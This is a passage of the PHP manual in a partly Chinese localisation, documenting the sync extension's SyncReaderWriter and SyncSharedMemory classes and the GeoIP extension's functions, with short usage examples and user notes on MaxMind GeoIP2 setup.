
  • SyncEvent::fire() - Fires/sets the event

User Contributed Notes

There are no user contributed notes for this page.


The SyncReaderWriter class

(PECL sync >= 1.0.0)

简介

A cross-platform, native implementation of named and unnamed reader-writer objects.

A reader-writer object allows many readers or one writer to access a resource. This is an efficient solution for managing resources where access will primarily be read-only but exclusive write access is occasionally necessary.

类摘要

class SyncReaderWriter {
/* 方法 */
public __construct(string $name = ?, int $autounlock = 1)
public readlock(int $wait = -1): bool
public readunlock(): bool
public writelock(int $wait = -1): bool
public writeunlock(): bool
}

Table of Contents

  • SyncReaderWriter::__construct — Constructs a new SyncReaderWriter object
  • SyncReaderWriter::readlock — Waits for a read lock
  • SyncReaderWriter::readunlock — Releases a read lock
  • SyncReaderWriter::writelock — Waits for an exclusive write lock
  • SyncReaderWriter::writeunlock — Releases a write lock

User Contributed Notes

There are no user contributed notes for this page.


Constructs a new SyncReaderWriter object

  • ? SyncReaderWriter
  • SyncReaderWriter::readlock ?
  • PHP Manual
  • SyncReaderWriter
  • Constructs a new SyncReaderWriter object

SyncReaderWriter::__construct

(PECL sync >= 1.0.0)

SyncReaderWriter::__construct — Constructs a new SyncReaderWriter object

说明

public SyncReaderWriter::__construct(string $name = ?, int $autounlock = 1)

Constructs a named or unnamed reader-writer object.

参数

name

The name of the reader-writer if this is a named reader-writer object.

Note:

If the name already exists, it must be able to be opened by the current user that the process is running as or an exception will be thrown with a meaningless error message.

Note: On Windows, name must not contain backslashes.

autounlock

Specifies whether or not to automatically unlock the reader-writer at the conclusion of the PHP script.

Warning

If an object is: A named reader-writer with an autounlock of FALSE, the object is locked for either reading or writing, and the PHP script concludes before the object is unlocked, then the underlying objects will end up in an inconsistent state.

返回值

The new SyncReaderWriter object.

错误／异常

An exception is thrown if the reader-writer cannot be created or opened.

示例

Example #1 SyncReaderWriter::__construct() example

<?php
$readwrite = new SyncReaderWriter("FileCacheLock");
$readwrite->readlock();
/* ... */
$readwrite->readunlock();

$readwrite->writelock();
/* ... */
$readwrite->writeunlock();
?>

参见

  • SyncReaderWriter::readlock() - Waits for a read lock
  • SyncReaderWriter::readunlock() - Releases a read lock
  • SyncReaderWriter::writelock() - Waits for an exclusive write lock
  • SyncReaderWriter::writeunlock() - Releases a write lock

User Contributed Notes

There are no user contributed notes for this page.


Waits for a read lock

  • ? SyncReaderWriter::__construct
  • SyncReaderWriter::readunlock ?
  • PHP Manual
  • SyncReaderWriter
  • Waits for a read lock

SyncReaderWriter::readlock

(PECL sync >= 1.0.0)

SyncReaderWriter::readlock — Waits for a read lock

说明

public SyncReaderWriter::readlock(int $wait = -1): bool

Obtains a read lock on a SyncReaderWriter object.

参数

wait

The number of milliseconds to wait for a lock. A value of -1 is infinite.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 SyncReaderWriter::readlock() example

<?php
$readwrite = new SyncReaderWriter("FileCacheLock");
$readwrite->readlock();
/* ... */
$readwrite->readunlock();
?>

参见

  • SyncReaderWriter::readunlock() - Releases a read lock

User Contributed Notes

There are no user contributed notes for this page.


Releases a read lock

  • ? SyncReaderWriter::readlock
  • SyncReaderWriter::writelock ?
  • PHP Manual
  • SyncReaderWriter
  • Releases a read lock

SyncReaderWriter::readunlock

(PECL sync >= 1.0.0)

SyncReaderWriter::readunlock — Releases a read lock

说明

public SyncReaderWriter::readunlock(): bool

Releases a read lock on a SyncReaderWriter object.

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 SyncReaderWriter::readunlock() example

<?php
$readwrite = new SyncReaderWriter("FileCacheLock");
$readwrite->readlock();
/* ... */
$readwrite->readunlock();
?>

参见

  • SyncReaderWriter::readlock() - Waits for a read lock

User Contributed Notes

There are no user contributed notes for this page.


Waits for an exclusive write lock

  • ? SyncReaderWriter::readunlock
  • SyncReaderWriter::writeunlock ?
  • PHP Manual
  • SyncReaderWriter
  • Waits for an exclusive write lock

SyncReaderWriter::writelock

(PECL sync >= 1.0.0)

SyncReaderWriter::writelock — Waits for an exclusive write lock

说明

public SyncReaderWriter::writelock(int $wait = -1): bool

Obtains an exclusive write lock on a SyncReaderWriter object.

参数

wait

The number of milliseconds to wait for a lock. A value of -1 is infinite.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 SyncReaderWriter::writelock() example

<?php
$readwrite = new SyncReaderWriter("FileCacheLock");
$readwrite->writelock();
/* ... */
$readwrite->writeunlock();
?>

参见

  • SyncReaderWriter::writeunlock() - Releases a write lock

User Contributed Notes

There are no user contributed notes for this page.


Releases a write lock

  • ? SyncReaderWriter::writelock
  • SyncSharedMemory ?
  • PHP Manual
  • SyncReaderWriter
  • Releases a write lock

SyncReaderWriter::writeunlock

(PECL sync >= 1.0.0)

SyncReaderWriter::writeunlock — Releases a write lock

说明

public SyncReaderWriter::writeunlock(): bool

Releases a write lock on a SyncReaderWriter object.

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 SyncReaderWriter::writeunlock() example

<?php
$readwrite = new SyncReaderWriter("FileCacheLock");
$readwrite->writelock();
/* ... */
$readwrite->writeunlock();
?>

参见

  • SyncReaderWriter::writelock() - Waits for an exclusive write lock

User Contributed Notes

There are no user contributed notes for this page.


The SyncSharedMemory class

(PECL sync >= 1.1.0)

简介

A cross-platform, native, consistent implementation of named shared memory objects.

Shared memory lets two separate processes communicate without the need for complex pipes or sockets. There are several integer-based shared memory implementations for PHP. Named shared memory is an alternative.

Synchronization objects (e.g. SyncMutex) are still required to protect most uses of shared memory.

类摘要

class SyncSharedMemory {
/* 方法 */
public __construct(string $name, int $size)
public first(): bool
public read(int $start = 0, int $length = ?)
public size(): int
public write(string $string = ?, int $start = 0)
}

Table of Contents

  • SyncSharedMemory::__construct — Constructs a new SyncSharedMemory object
  • SyncSharedMemory::first — Check to see if the object is the first instance system-wide of named shared memory
  • SyncSharedMemory::read — Copy data from named shared memory
  • SyncSharedMemory::size — Returns the size of the named shared memory
  • SyncSharedMemory::write — Copy data to named shared memory

User Contributed Notes

There are no user contributed notes for this page.


Constructs a new SyncSharedMemory object

  • ? SyncSharedMemory
  • SyncSharedMemory::first ?
  • PHP Manual
  • SyncSharedMemory
  • Constructs a new SyncSharedMemory object

SyncSharedMemory::__construct

(PECL sync >= 1.1.0)

SyncSharedMemory::__construct — Constructs a new SyncSharedMemory object

说明

public SyncSharedMemory::__construct(string $name, int $size)

Constructs a named shared memory object.

参数

name

The name of the shared memory object.

Note:

If the name already exists, it must be able to be opened by the current user that the process is running as or an exception will be thrown with a meaningless error message.

size

The size, in bytes, of shared memory to reserve.

Note:

The amount of memory cannot be resized later. Request sufficient storage up front.

返回值

The new SyncSharedMemory object.

错误／异常

An exception is thrown if the shared memory object cannot be created or opened.

示例

Example #1 SyncSharedMemory::__construct() example

<?php
// You will probably need to protect shared memory with other synchronization objects.
// Shared memory goes away when the last reference to it disappears.
$mem = new SyncSharedMemory("AppReportName", 1024);
if ($mem->first())
{
// Do first time initialization work here.
}

$result = $mem->write(json_encode(array("name" => "my_report.txt")));
?>

参见

  • SyncSharedMemory::first() - Check to see if the object is the first instance system-wide of named shared memory
  • SyncSharedMemory::size() - Returns the size of the named shared memory
  • SyncSharedMemory::write() - Copy data to named shared memory
  • SyncSharedMemory::read() - Copy data from named shared memory

User Contributed Notes

There are no user contributed notes for this page.


Check to see if the object is the first instance system-wide of named shared memory

  • ? SyncSharedMemory::__construct
  • SyncSharedMemory::read ?
  • PHP Manual
  • SyncSharedMemory
  • Check to see if the object is the first instance system-wide of named shared memory

SyncSharedMemory::first

(PECL sync >= 1.1.0)

SyncSharedMemory::first — Check to see if the object is the first instance system-wide of named shared memory

说明

public SyncSharedMemory::first(): bool

Retrieves the system-wide first instance status of a SyncSharedMemory object.

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 SyncSharedMemory::first() example

<?php
$mem = new SyncSharedMemory("AppReportName", 1024);
if ($mem->first())
{
// Do first time initialization work here.
}

var_dump($mem->first());

$mem2 = new SyncSharedMemory("AppReportName", 1024);

var_dump($mem2->first());
?>

以上示例的输出类似于：

bool(true)
bool(false)

参见

  • SyncSharedMemory::write() - Copy data to named shared memory
  • SyncSharedMemory::read() - Copy data from named shared memory

User Contributed Notes

There are no user contributed notes for this page.


Copy data from named shared memory

  • ? SyncSharedMemory::first
  • SyncSharedMemory::size ?
  • PHP Manual
  • SyncSharedMemory
  • Copy data from named shared memory

SyncSharedMemory::read

(PECL sync >= 1.1.0)

SyncSharedMemory::read — Copy data from named shared memory

说明

public SyncSharedMemory::read(int $start = 0, int $length = ?)

Copies data from named shared memory.

参数

start

The start/offset, in bytes, to begin reading.

Note:

If the value is negative, the starting position will begin at the specified number of bytes from the end of the shared memory segment.

length

The number of bytes to read.

Note:

If unspecified, reading will stop at the end of the shared memory segment.

If the value is negative, reading will stop the specified number of bytes from the end of the shared memory segment.

返回值

A string containing the data read from shared memory.

示例

Example #1 SyncSharedMemory::__construct() example

<?php
// You will probably need to protect shared memory with other synchronization objects.
// Shared memory goes away when the last reference to it disappears.
$mem = new SyncSharedMemory("AppReportName", 1024);
if ($mem->first())
{
// Do first time initialization work here.
}

$result = $mem->write("report.txt");

$result = $mem->read(3, -4);
var_dump($result);
?>

以上示例的输出类似于：

string(3) "ort"

参见

  • SyncSharedMemory::__construct() - Constructs a new SyncSharedMemory object
  • SyncSharedMemory::first() - Check to see if the object is the first instance system-wide of named shared memory
  • SyncSharedMemory::write() - Copy data to named shared memory
  • SyncSharedMemory::read()

User Contributed Notes

There are no user contributed notes for this page.


Returns the size of the named shared memory

  • ? SyncSharedMemory::read
  • SyncSharedMemory::write ?
  • PHP Manual
  • SyncSharedMemory
  • Returns the size of the named shared memory

SyncSharedMemory::size

(PECL sync >= 1.1.0)

SyncSharedMemory::size — Returns the size of the named shared memory

说明

public SyncSharedMemory::size(): int

Retrieves the shared memory size of a SyncSharedMemory object.

参数

此函数没有参数。

返回值

An integer containing the size of the shared memory. This will be the same size that was passed to the constructor.

示例

Example #1 SyncSharedMemory::size() example

<?php
$mem = new SyncSharedMemory("AppReportName", 1024);
var_dump($mem->size());
?>

以上示例的输出类似于：

int(1024)

参见

  • SyncSharedMemory::__construct() - Constructs a new SyncSharedMemory object
  • SyncSharedMemory::write() - Copy data to named shared memory
  • SyncSharedMemory::read() - Copy data from named shared memory

User Contributed Notes

There are no user contributed notes for this page.


Copy data to named shared memory

  • ? SyncSharedMemory::size
  • 其它基本扩展 ?
  • PHP Manual
  • SyncSharedMemory
  • Copy data to named shared memory

SyncSharedMemory::write

(PECL sync >= 1.1.0)

SyncSharedMemory::write — Copy data to named shared memory

说明

public SyncSharedMemory::write(string $string = ?, int $start = 0)

Copies data to named shared memory.

参数

string

The data to write to shared memory.

Note:

If the size of the data exceeds the size of the shared memory, the number of bytes written returned will be less than the length of the input.

start

The start/offset, in bytes, to begin writing.

Note:

If the value is negative, the starting position will begin at the specified number of bytes from the end of the shared memory segment.

返回值

An integer containing the number of bytes written to shared memory.

示例

Example #1 SyncSharedMemory::write() example

<?php
// You will probably need to protect shared memory with other synchronization objects.
// Shared memory goes away when the last reference to it disappears.
$mem = new SyncSharedMemory("AppReportName", 1024);
if ($mem->first())
{
// Do first time initialization work here.
}

$result = $mem->write("report.txt");
var_dump($result);

$result = $mem->write("report.txt", -3);
var_dump($result);
?>

以上示例的输出类似于：

int(10)
int(3)

参见

  • SyncSharedMemory::__construct() - Constructs a new SyncSharedMemory object
  • SyncSharedMemory::first() - Check to see if the object is the first instance system-wide of named shared memory
  • SyncSharedMemory::write()
  • SyncSharedMemory::read() - Copy data from named shared memory

User Contributed Notes

There are no user contributed notes for this page.


其它基本扩展

  • GeoIP — Geo IP 定位
    • 简介
    • 安装/配置
    • 预定义常量
    • GeoIP 函数
  • FANN — FANN (快速人工神经网络)
    • 简介
    • 安装/配置
    • 预定义常量
    • 示例
    • Fann 函数
    • FANNConnection — FANNConnection 类
  • Igbinary
    • 简介
    • 安装/配置
    • Igbinary 函数
  • JSON — JavaScript 对象表示法（JSON）
    • 简介
    • 安装/配置
    • 预定义常量
    • JsonException — JsonException 类
    • JsonSerializable — JSON 序列化接口
    • JSON 函数
  • Simdjson
    • 简介
    • 安装/配置
    • 预定义常量
    • Simdjson 函数
    • SimdJsonException — The SimdJsonException class
    • SimdJsonValueError — The SimdJsonValueError class
  • Lua
    • 简介
    • 安装/配置
    • Lua — Lua类
    • LuaClosure — LuaClosure类
  • LuaSandbox
    • 简介
    • 安装/配置
    • Differences from Standard Lua
    • 示例
    • LuaSandbox — The LuaSandbox class
    • LuaSandboxFunction — The LuaSandboxFunction class
    • LuaSandboxError — The LuaSandboxError class
    • LuaSandboxErrorError — The LuaSandboxErrorError class
    • LuaSandboxFatalError — The LuaSandboxFatalError class
    • LuaSandboxMemoryError — The LuaSandboxMemoryError class
    • LuaSandboxRuntimeError — The LuaSandboxRuntimeError class
    • LuaSandboxSyntaxError — The LuaSandboxSyntaxError class
    • LuaSandboxTimeoutError — The LuaSandboxTimeoutError class
  • 杂项 — 杂项函数
    • 简介
    • 安装/配置
    • 预定义常量
    • 杂项 函数
    • 更新日志
  • Random — 随机数生成器和相关随机函数
    • 简介
    • 安装/配置
    • 预定义常量
    • 示例
    • Random 函数
    • Random\Randomizer — The Random\Randomizer class
    • Random\Engine — The Random\Engine interface
    • Random\CryptoSafeEngine — The Random\CryptoSafeEngine interface
    • Random\Engine\Secure — The Random\Engine\Secure class
    • Random\Engine\Mt19937 — Random\Engine\Mt19937 类
    • Random\Engine\PcgOneseq128XslRr64 — The Random\Engine\PcgOneseq128XslRr64 class
    • Random\Engine\Xoshiro256StarStar — Random\Engine\Xoshiro256StarStar 类
    • Random\RandomError — The Random\RandomError class
    • Random\BrokenRandomEngineError — The Random\BrokenRandomEngineError class
    • Random\RandomException — The Random\RandomException class
  • SeasLog
    • 简介
    • 安装/配置
    • 预定义常量
    • 示例
    • Seaslog 函数
    • SeasLog — The SeasLog class
  • SPL — PHP 标准库（SPL）
    • 简介
    • 安装/配置
    • 预定义常量
    • 数据结构
    • 迭代器
    • 接口
    • 异常
    • SPL 函数
    • 文件处理
    • 各种类及接口
  • Stream
    • 简介
    • 安装/配置
    • 预定义常量
    • Stream 过滤
    • Stream Contexts
    • Stream Errors
    • 示例
    • php_user_filter — The php_user_filter class
    • streamWrapper — streamWrapper 类
    • Stream 函数
  • Swoole
    • 简介
    • 安装/配置
    • 预定义常量
    • Swoole 函数
    • Swoole\Async — The Swoole\Async class
    • Swoole\Atomic — The Swoole\Atomic class
    • Swoole\Buffer — The Swoole\Buffer class
    • Swoole\Channel — The Swoole\Channel class
    • Swoole\Client — The Swoole\Client class
    • Swoole\Connection\Iterator — The Swoole\Connection\Iterator class
    • Swoole\Coroutine — The Swoole\Coroutine class
    • Swoole\Event — The Swoole\Event class
    • Swoole\Exception — The Swoole\Exception class
    • Swoole\Http\Client — The Swoole\Http\Client class
    • Swoole\Http\Request — The Swoole\Http\Request class
    • Swoole\Http\Response — The Swoole\Http\Response class
    • Swoole\Http\Server — The Swoole\Http\Server class
    • Swoole\Lock — The Swoole\Lock class
    • Swoole\Mmap — The Swoole\Mmap class
    • Swoole\MySQL — The Swoole\MySQL class
    • Swoole\MySQL\Exception — The Swoole\MySQL\Exception class
    • Swoole\Process — The Swoole\Process class
    • Swoole\Redis\Server — The Swoole\Redis\Server class
    • Swoole\Serialize — The Swoole\Serialize class
    • Swoole\Server — The Swoole\Server class
    • Swoole\Table — The Swoole\Table class
    • Swoole\Timer — The Swoole\Timer class
    • Swoole\WebSocket\Frame — The Swoole\WebSocket\Frame class
    • Swoole\WebSocket\Server — The Swoole\WebSocket\Server class
  • Tidy
    • 简介
    • 安装/配置
    • 预定义常量
    • 示例
    • tidy — The tidy class
    • tidyNode — The tidyNode class
    • Tidy 函数
  • Tokenizer
    • 简介
    • 安装/配置
    • 预定义常量
    • 示例
    • PhpToken — The PhpToken class
    • Tokenizer 函数
  • URL
    • 简介
    • 安装/配置
    • 预定义常量
    • URL 函数
  • V8js — V8 Javascript Engine Integration
    • 简介
    • 安装/配置
    • 示例
    • V8Js — The V8Js class
    • V8JsException — The V8JsException class
  • Yaml — YAML 数据序列化
    • 简介
    • 安装/配置
    • 预定义常量
    • 示例
    • Callbacks
    • Yaml 函数
  • Yaf — Yet Another Framework
    • 简介
    • 安装/配置
    • 预定义常量
    • 示例
    • 应用程序配置
    • Yaf_Application — Yaf_Application 类
    • Yaf_Bootstrap_Abstract — Yaf_Bootstrap_Abstract 类
    • Yaf_Dispatcher — Yaf_Dispatcher 类
    • Yaf_Config_Abstract — Yaf_Config_Abstract 类
    • Yaf_Config_Ini — Yaf_Config_Ini 类
    • Yaf_Config_Simple — Yaf_Config_Simple 类
    • Yaf_Controller_Abstract — Yaf_Controller_Abstract 类
    • Yaf_Action_Abstract — Yaf_Action_Abstract 类
    • Yaf_View_Interface — Yaf_View_Interface 类
    • Yaf_View_Simple — Yaf_View_Simple 类
    • Yaf_Loader — Yaf_Loader 类
    • Yaf_Plugin_Abstract — Yaf_Plugin_Abstract 类
    • Yaf_Registry — Yaf_Registry 类
    • Yaf_Request_Abstract — Yaf_Request_Abstract 类
    • Yaf_Request_Http — The Yaf_Request_Http class
    • Yaf_Request_Simple — Yaf_Request_Simple 类
    • Yaf_Response_Abstract — Yaf_Response_Abstract 类
    • Yaf_Route_Interface — Yaf_Route_Interface 类
    • Yaf_Route_Map — Yaf_Route_Map 类
    • Yaf_Route_Regex — Yaf_Route_Regex 类
    • Yaf_Route_Rewrite — Yaf_Route_Rewrite 类
    • Yaf_Router — Yaf_Router 类
    • Yaf_Route_Simple — Yaf_Route_Simple 类
    • Yaf_Route_Static — Yaf_Route_Static 类
    • Yaf_Route_Supervar — Yaf_Route_Supervar 类
    • Yaf_Session — Yaf_Session 类
    • Yaf_Exception — Yaf_Exception 类
    • Yaf_Exception_TypeError — Yaf_Exception_TypeError 类
    • Yaf_Exception_StartupError — Yaf_Exception_StartupError 类
    • Yaf_Exception_DispatchFailed — Yaf_Exception_DispatchFailed 类
    • Yaf_Exception_RouterFailed — Yaf_Exception_RouterFailed 类
    • Yaf_Exception_LoadFailed — Yaf_Exception_LoadFailed 类
    • Yaf_Exception_LoadFailed_Module — Yaf_Exception_LoadFailed_Module 类
    • Yaf_Exception_LoadFailed_Controller — Yaf_Exception_LoadFailed_Controller 类
    • Yaf_Exception_LoadFailed_Action — Yaf_Exception_LoadFailed_Action 类
    • Yaf_Exception_LoadFailed_View — Yaf_Exception_LoadFailed_View 类
  • Yaconf
    • 简介
    • 安装/配置
    • 预定义常量
    • Yaconf — The Yaconf class
  • Taint
    • 简介
    • 安装/配置
    • More Details
    • Taint 函数
  • Data Structures
    • 简介
    • 安装/配置
    • 预定义常量
    • 示例
    • Ds\Collection — The Collection interface
    • Ds\Hashable — The Hashable interface
    • Ds\Sequence — The Sequence interface
    • Ds\Vector — The Vector class
    • Ds\Deque — The Deque class
    • Ds\Map — The Map class
    • Ds\Pair — The Pair class
    • Ds\Set — The Set class
    • Ds\Stack — The Stack class
    • Ds\Queue — The Queue class
    • Ds\PriorityQueue — The PriorityQueue class
  • var_representation
    • 简介
    • 安装/配置
    • 预定义常量
    • var_representation 函数

User Contributed Notes

There are no user contributed notes for this page.


Geo IP 定位

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • GeoIP 函数
    • geoip_asnum_by_name — 获取自治系统号(ASN)
    • geoip_continent_code_by_name — 获取七大洲的大写字母简称
    • geoip_country_code_by_name — 获取国家代码
    • geoip_country_code3_by_name — 获取三个字母组成的国家简称
    • geoip_country_name_by_name — 获取国家的全称
    • geoip_database_info — 获取 GeoIP 数据库的信息
    • geoip_db_avail — GeoIP 数据库是否可用
    • geoip_db_filename — 返回 GeoIP 数据库相对应的文件名
    • geoip_db_get_all_info — 返回所有 GeoIP 数据库类型的详细信息
    • geoip_domain_by_name — 获取二级域名
    • geoip_id_by_name — 获取网络连接类型
    • geoip_isp_by_name — 获取 ISP (网络服务提供商)的名称
    • geoip_netspeedcell_by_name — 获取网络连接速度
    • geoip_org_by_name — 获取机构的名称
    • geoip_record_by_name — 返回 GeoIP 数据库中详细的城市信息
    • geoip_region_by_name — 获取国家和地区代码
    • geoip_region_name_by_code — 返回给定的国家和地区代码组合所对应的地区名称
    • geoip_setup_custom_directory — 自定义 GeoIP 数据库的目录
    • geoip_time_zone_by_country_and_region — 返回国家和地区的时区

User Contributed Notes

ruben dot benjamin at hidden-email dot com 27-Jan-2022 06:51
If you want to use the C Library
Example for Ubuntu and PHP 7.4

sudo apt install libmaxminddb0 libmaxminddb-dev mmdb-bin
pecl install maxminddb
vi /etc/php/7.4/mods-available/maxmind.ini
add
extension=maxminddb.so
phpenmod maxmind

In code
<?php

use MaxMind\Db\Reader;

$ipAddress = '24.24.24.24';
$databaseFile = '/usr/share/GeoIP/GeoLite2-Country.mmdb';

$reader = new Reader($databaseFile);

// get returns just the record for the IP address
print_r($reader->get($ipAddress));

// getWithPrefixLen returns an array containing the record and the
// associated prefix length for that record.
print_r($reader->getWithPrefixLen($ipAddress));

$reader->close();
webmaster at isag dot melbourne 05-Jan-2019 09:51
With GeoIP2, the easiest way is to:

* Grab the latest GeoIP2 Lite Database(s): https://dev.maxmind.com/geoip/geoip2/geolite2/
* Grab the latest geoip2.phar: https://github.com/maxmind/GeoIP2-php/releases

<?php
require_once("geoip2.phar");
use GeoIp2\Database\Reader;
// City DB
$reader = new Reader('/path/to/GeoLite2-City.mmdb');
$record = $reader->city($_SERVER['REMOTE_ADDR']);
// or for Country DB
// $reader = new Reader('/path/to/GeoLite2-Country.mmdb');
// $record = $reader->country($_SERVER['REMOTE_ADDR']);
print($record->country->isoCode . "\n");
print($record->country->name . "\n");
print($record->country->names['zh-CN'] . "\n");
print($record->mostSpecificSubdivision->name . "\n");
print($record->mostSpecificSubdivision->isoCode . "\n");
print($record->city->name . "\n");
print($record->postal->code . "\n");
print($record->location->latitude . "\n");
print($record->location->longitude . "\n");
$>
mark at moderndeveloperllc dot com 26-Dec-2013 05:43
It should be noted that this extension has now been superseded by the GeoIP2 API that MaxMind now produces. There is a pure-PHP set of classes and a C library and extension you can optionally install. The code can be found in various projects on MaxMind's GitHub page: https://github.com/maxmind/


简介

GeoIP 扩展可以通过 IP 地址来确定地理位置。比如城市、州、国家、经度、纬度以及其他信息，比如 ISP (因特网服务提供商)和网络连接类型。

Warning

该扩展不支持 MaxMind 目前的 "GeoIP2" 数据库。 只有 "GeoIP 遗留" 数据库文件。

User Contributed Notes

There are no user contributed notes for this page.


安装/配置

Table of Contents

  • 需求
  • 安装
  • 运行时配置
  • 资源类型

User Contributed Notes

Michelangelo van Dam 21-Mar-2019 10:45
As of January 2, 2019 Maxmind discontinued the original GeoLite databases that we have been using in all these examples. You can read the full announcement here: https://support.maxmind.com/geolite-legacy-discontinuation-notice/

This means that if you require to have an updated version of the GeoIP information, there are a few steps you need to do:
1. Install the GeoIP2 client libraries (Composer, Phar)
2. Download the new GeoIP2 datasets
3. Update your application to make use of this new API and dataset

You can find detailed instructions on http://maxmind.github.io/GeoIP2-php/

C extension
Yes, there is a C extension available! Check out https://github.com/maxmind/MaxMind-DB-Reader-php for more details on how to install and use this extension.


需求

这个扩展要求系统安装了 GeoIP C 语言库的1.4.0及以上版本。可通过以下链接 » http://www.maxmind.com/app/c 下载编译该库。

默认情况下只能使用免费的 GeoIP Country 或者 GeoLite City 的数据库。然而这个模块可以使用其他类型的数据库，但必须从以下链接购买商业许可 » Maxmind.

User Contributed Notes

There are no user contributed notes for this page.


安装

此 » PECL 扩展未与 PHP 捆绑。

安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pecl.php.net/package/geoip.

User Contributed Notes

There are no user contributed notes for this page.


运行时配置

这些函数的行为受 php.ini 中的设置影响。

GeoIP 配置选项
名字 | 默认 | 可修改范围 | 更新日志
geoip.custom_directory | "" | PHP_INI_ALL |

这是配置指令的简短说明。

geoip.custom_directory string

默认为空，但是可以设置一个不同的数据库来覆盖该扩展自带的数据库。

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

GEOIP_COUNTRY_EDITION (int)
GEOIP_REGION_EDITION_REV0 (int)
GEOIP_CITY_EDITION_REV0 (int)
GEOIP_ORG_EDITION (int)
GEOIP_ISP_EDITION (int)
GEOIP_CITY_EDITION_REV1 (int)
GEOIP_REGION_EDITION_REV1 (int)
GEOIP_PROXY_EDITION (int)
GEOIP_ASNUM_EDITION (int)
GEOIP_NETSPEED_EDITION (int)
GEOIP_DOMAIN_EDITION (int)

以下常量是用来表示网速的:

GEOIP_UNKNOWN_SPEED (int)
GEOIP_DIALUP_SPEED (int)
GEOIP_CABLEDSL_SPEED (int)
GEOIP_CORPORATE_SPEED (int)

User Contributed Notes

There are no user contributed notes for this page.


GeoIP 函数

Table of Contents

  • geoip_asnum_by_name — 获取自治系统号(ASN)
  • geoip_continent_code_by_name — 获取七大洲的大写字母简称
  • geoip_country_code_by_name — 获取国家代码
  • geoip_country_code3_by_name — 获取三个字母组成的国家简称
  • geoip_country_name_by_name — 获取国家的全称
  • geoip_database_info — 获取 GeoIP 数据库的信息
  • geoip_db_avail — GeoIP 数据库是否可用
  • geoip_db_filename — 返回 GeoIP 数据库相对应的文件名
  • geoip_db_get_all_info — 返回所有 GeoIP 数据库类型的详细信息
  • geoip_domain_by_name — 获取二级域名
  • geoip_id_by_name — 获取网络连接类型
  • geoip_isp_by_name — 获取 ISP (网络服务提供商)的名称
  • geoip_netspeedcell_by_name — 获取网络连接速度
  • geoip_org_by_name — 获取机构的名称
  • geoip_record_by_name — 返回 GeoIP 数据库中详细的城市信息
  • geoip_region_by_name — 获取国家和地区代码
  • geoip_region_name_by_code — 返回给定的国家和地区代码组合所对应的地区名称
  • geoip_setup_custom_directory — 自定义 GeoIP 数据库的目录
  • geoip_time_zone_by_country_and_region — 返回国家和地区的时区

User Contributed Notes

There are no user contributed notes for this page.


获取自治系统号(ASN)

  • ? GeoIP 函数
  • geoip_continent_code_by_name ?
  • PHP Manual
  • GeoIP 函数
  • 获取自治系统号(ASN)

geoip_asnum_by_name

(PECL geoip >= 1.1.0)

geoip_asnum_by_name — 获取自治系统号(ASN)

说明

geoip_asnum_by_name(string $hostname): string

geoip_asnum_by_name() 函数将会返回和 IP 地址相关联的自治系统号(ASN)。

参数

hostname

主机的 IP 地址。

返回值

如果成功将会返回自治系统号，如果在数据库中未找到相关信息则返回 false。

示例

Example #1 geoip_asnum_by_name() 示例

以下代码将会输出 www.example.com 域名的 ASN。

<?php
$asn = geoip_asnum_by_name('www.example.com');

if ($asn) {
echo 'The ASN is: ' . $asn;
}
?>

以上示例会输出：

The ASN is: AS15133 EdgeCast Networks, Inc

User Contributed Notes

There are no user contributed notes for this page.


获取七大洲的大写字母简称

  • ? geoip_asnum_by_name
  • geoip_country_code_by_name ?
  • PHP Manual
  • GeoIP 函数
  • 获取七大洲的大写字母简称

geoip_continent_code_by_name

(PECL geoip >= 1.0.3)

geoip_continent_code_by_name — 获取七大洲的大写字母简称

说明

geoip_continent_code_by_name(string $hostname): string

geoip_continent_code_by_name() 函数将会返回主机或者IP地址相对应的七大洲大写字母简称。

参数

hostname

所要定位的主机或IP地址。

返回值

成功，返回两个大写字母组成的七大洲简称字符串, 如果在数据库中未找到相关信息则返回 false 。

洲代码
Code | 洲名
AF | 非洲
AN | 南极洲
AS | 亚洲
EU | 欧洲
NA | 北美洲
OC | 大洋洲
SA | 南美洲

示例

Example #1 geoip_continent_code_by_name() 函数的使用范例：

以下代码将会打印 example.com 的定位信息。

<?php
$continent = geoip_continent_code_by_name('www.example.com');
if ($continent) {
echo 'This host is located in: ' . $continent;
}
?>

以上示例会输出：

 This host is located in: NA

参见

  • geoip_country_code_by_name() - 获取国家代码

User Contributed Notes

There are no user contributed notes for this page.


获取国家代码

  • ? geoip_continent_code_by_name
  • geoip_country_code3_by_name ?
  • PHP Manual
  • GeoIP 函数
  • 获取国家代码

geoip_country_code_by_name

(PECL geoip >= 0.2.0)

geoip_country_code_by_name — 获取国家代码

说明

geoip_country_code_by_name(string $hostname): string

geoip_country_code_by_name() 函数将会返回主机或者IP地址所在的国家代码。

参数

hostname

定位的主机名或者IP地址。

返回值

成功，返回 ISO 定义的国家代码，如果在数据库中未找到相关信息则返回 false 。

示例

Example #1 geoip_country_code_by_name() 函数的范例：

以下代码将会打印 example.com 主机的定位信息。

<?php
$country = geoip_country_code_by_name('www.example.com');
if ($country) {
echo 'This host is located in: ' . $country;
}
?>

以上示例会输出：

This host is located in: US

注释

Caution

请点击 » http://www.maxmind.com/en/iso3166 来查看所有可能的返回值列表，包括特殊代码。

参见

  • geoip_country_code3_by_name() - 获取三个字母组成的国家简称
  • geoip_country_name_by_name() - 获取国家的全称

User Contributed Notes

There are no user contributed notes for this page.


获取三个字母组成的国家简称

  • ? geoip_country_code_by_name
  • geoip_country_name_by_name ?
  • PHP Manual
  • GeoIP 函数
  • 获取三个字母组成的国家简称

geoip_country_code3_by_name

(PECL geoip >= 0.2.0)

geoip_country_code3_by_name — 获取三个字母组成的国家简称

说明

geoip_country_code3_by_name(string $hostname): string

geoip_country_code3_by_name() 函数返回由三个字母组成和主机或者 IP 相对应的国家代码。

参数

hostname

定位所用的主机名或者 IP 地址。

返回值

成功，返回由三个字母组成的国家简称，如果在数据库中未找到相关信息则返回 false 。

示例

